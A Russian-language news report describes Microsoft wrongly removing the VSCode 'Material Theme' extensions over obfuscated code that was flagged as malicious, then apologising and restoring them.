Представители Microsoft принесли извинения пострадавшему разработчику и признались, что поторопились, пытаясь оперативно защитить пользователей от возможной угрозы, положившись на срабатывание нескольких детекторов вредоносного ПО в коде. Для снижения вероятности подобных инцидентов в будущем компания Microsoft пересмотрит свою политику в отношении обфусцированного кода, а также обновит системы сканирования и процесс ручного анализа.

Дополнения заподозрили в распространении вредоносного кода из-за наличия обфусцированных вставок, на которые обратили внимание сотрудники компании ExtensionTotal, развивающей AI-инструменты для сканирования вредоносных дополнений к VSCode. В Microsoft была направлена жалоба с подозрениями на использование в дополнениях "Material Theme" и "Material Theme Icons" обфусцированных вставок для скрытия вредоносного кода.

Например, в файле release-notes.js был выявлен обфусцированный исполняемый код, в то время как темы оформления должны содержать лишь статические JSON-данные. Частичное раскодирование обфусцированных блоков показало наличие строк с именами пользователей и паролями. В ответ на жалобу исследователи безопасности из Microsoft провели проверку, которая подтвердила упомянутые в жалобе выводы. Наличия исполняемого кода в темах оформления и упоминаний паролей было признано достаточным для удаления дополнений и блокировки их автора.

Сразу после блокировки автор дополнений опубликовал возражение против действий Microsoft и заявил, что в его проектах нет вредоносного кода, а наличие обфусцирования не является поводом для удаления. Единственной проблемой было то, что в обфусцированный блок попал код клиента из SDK sanity.io, в котором имелись строки, упоминающие логины и пароли в клиенте аутентификации. Данный код попал в состав дополнения по недосмотру из-за старого сборочного скрипта, применявшегося для генерации файлов в формате JSON после загрузки SVG-пиктограмм из закрытого репозитория.

По словам автора дополнений, если бы Microsoft сообщала ему о проблеме, он устранил бы её в считанные секунды, но вместо этого компания без предупреждений и уведомлений заблокировала дополнения и учётную запись. На то чтобы добиться восстановления ошибочно удалённых дополнений потребовалось две недели.

Источник: https://www.opennet.ru/opennews/art.shtml?num=62885